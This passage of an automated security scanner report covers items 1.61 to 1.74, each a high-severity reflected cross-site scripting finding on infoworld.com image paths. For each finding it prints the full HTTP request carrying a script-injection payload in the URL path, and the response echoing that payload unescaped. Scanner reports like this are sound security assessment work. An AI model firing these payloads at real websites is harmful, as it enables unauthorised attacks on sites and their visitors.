Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:23 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:34:23 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460863-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/imagesdfd00"><script>alert(1)</script>683ffd3a4e0/bg_IW_header.jpg&123">
...[SNIP]...

1.61. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_header.jpg [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_header.jpg

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d809"><script>alert(1)</script>61481860264 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/images/bg_IW_header.jpg7d809"><script>alert(1)</script>61481860264?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:34:25 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:34:25 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460865-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/images/bg_IW_header.jpg7d809"><script>alert(1)</script>61481860264&123">
...[SNIP]...

1.62. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_logo.png [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_logo.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58a05"><script>alert(1)</script>14f73dda556 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites58a05"><script>alert(1)</script>14f73dda556/all/themes/ifw/images/bg_IW_logo.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:34 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:34 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460814-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites58a05"><script>alert(1)</script>14f73dda556/all/themes/ifw/images/bg_IW_logo.png&123">
...[SNIP]...

1.63. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_logo.png [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_logo.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1319"><script>alert(1)</script>8e955d7e8ca was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allc1319"><script>alert(1)</script>8e955d7e8ca/themes/ifw/images/bg_IW_logo.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:36 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460816-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/allc1319"><script>alert(1)</script>8e955d7e8ca/themes/ifw/images/bg_IW_logo.png&123">
...[SNIP]...

1.64. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_logo.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_logo.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e998"><script>alert(1)</script>14859ccfad0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes4e998"><script>alert(1)</script>14859ccfad0/ifw/images/bg_IW_logo.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:38 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460818-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes4e998"><script>alert(1)</script>14859ccfad0/ifw/images/bg_IW_logo.png&123">
...[SNIP]...

1.65. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_logo.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_logo.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5a71"><script>alert(1)</script>2543958b4bc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifwc5a71"><script>alert(1)</script>2543958b4bc/images/bg_IW_logo.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:41 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460821-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifwc5a71"><script>alert(1)</script>2543958b4bc/images/bg_IW_logo.png&123">
...[SNIP]...

1.66. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_logo.png [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_logo.png

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eae20"><script>alert(1)</script>8627bbb48ee was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/imageseae20"><script>alert(1)</script>8627bbb48ee/bg_IW_logo.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:43 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460823-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/imageseae20"><script>alert(1)</script>8627bbb48ee/bg_IW_logo.png&123">
...[SNIP]...

1.67. http://www.infoworld.com/sites/all/themes/ifw/images/bg_IW_logo.png [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/bg_IW_logo.png

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41385"><script>alert(1)</script>6200c116d34 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/images/bg_IW_logo.png41385"><script>alert(1)</script>6200c116d34?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:45 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:45 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460825-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51158

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/images/bg_IW_logo.png41385"><script>alert(1)</script>6200c116d34&123">
...[SNIP]...

1.68. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d67fb"><script>alert(1)</script>b9bc54c8673 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesd67fb"><script>alert(1)</script>b9bc54c8673/all/themes/ifw/images/icons/small_right_arrow_white.gif?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:36 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460816-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sitesd67fb"><script>alert(1)</script>b9bc54c8673/all/themes/ifw/images/icons/small_right_arrow_white.gif&123">
...[SNIP]...

1.69. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 89a8b"><script>alert(1)</script>fc479d61844 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all89a8b"><script>alert(1)</script>fc479d61844/themes/ifw/images/icons/small_right_arrow_white.gif?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:39 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:39 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460819-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all89a8b"><script>alert(1)</script>fc479d61844/themes/ifw/images/icons/small_right_arrow_white.gif&123">
...[SNIP]...

1.70. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a034"><script>alert(1)</script>24926177d39 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes7a034"><script>alert(1)</script>24926177d39/ifw/images/icons/small_right_arrow_white.gif?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:41 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460821-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes7a034"><script>alert(1)</script>24926177d39/ifw/images/icons/small_right_arrow_white.gif&123">
...[SNIP]...

1.71. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3db7"><script>alert(1)</script>b5116fad91f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifwa3db7"><script>alert(1)</script>b5116fad91f/images/icons/small_right_arrow_white.gif?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:43 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460823-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifwa3db7"><script>alert(1)</script>b5116fad91f/images/icons/small_right_arrow_white.gif&123">
...[SNIP]...

1.72. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d0a2"><script>alert(1)</script>b60de576baf was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/images2d0a2"><script>alert(1)</script>b60de576baf/icons/small_right_arrow_white.gif?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:46 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:46 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460826-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/images2d0a2"><script>alert(1)</script>b60de576baf/icons/small_right_arrow_white.gif&123">
...[SNIP]...

1.73. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf26a"><script>alert(1)</script>cc33fa980f0 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/images/iconsbf26a"><script>alert(1)</script>cc33fa980f0/small_right_arrow_white.gif?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:48 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460828-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/images/iconsbf26a"><script>alert(1)</script>cc33fa980f0/small_right_arrow_white.gif&123">
...[SNIP]...

1.74. http://www.infoworld.com/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/icons/small_right_arrow_white.gif

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac05d"><script>alert(1)</script>e21cf643b12 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/images/icons/small_right_arrow_white.gifac05d"><script>alert(1)</script>e21cf643b12?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
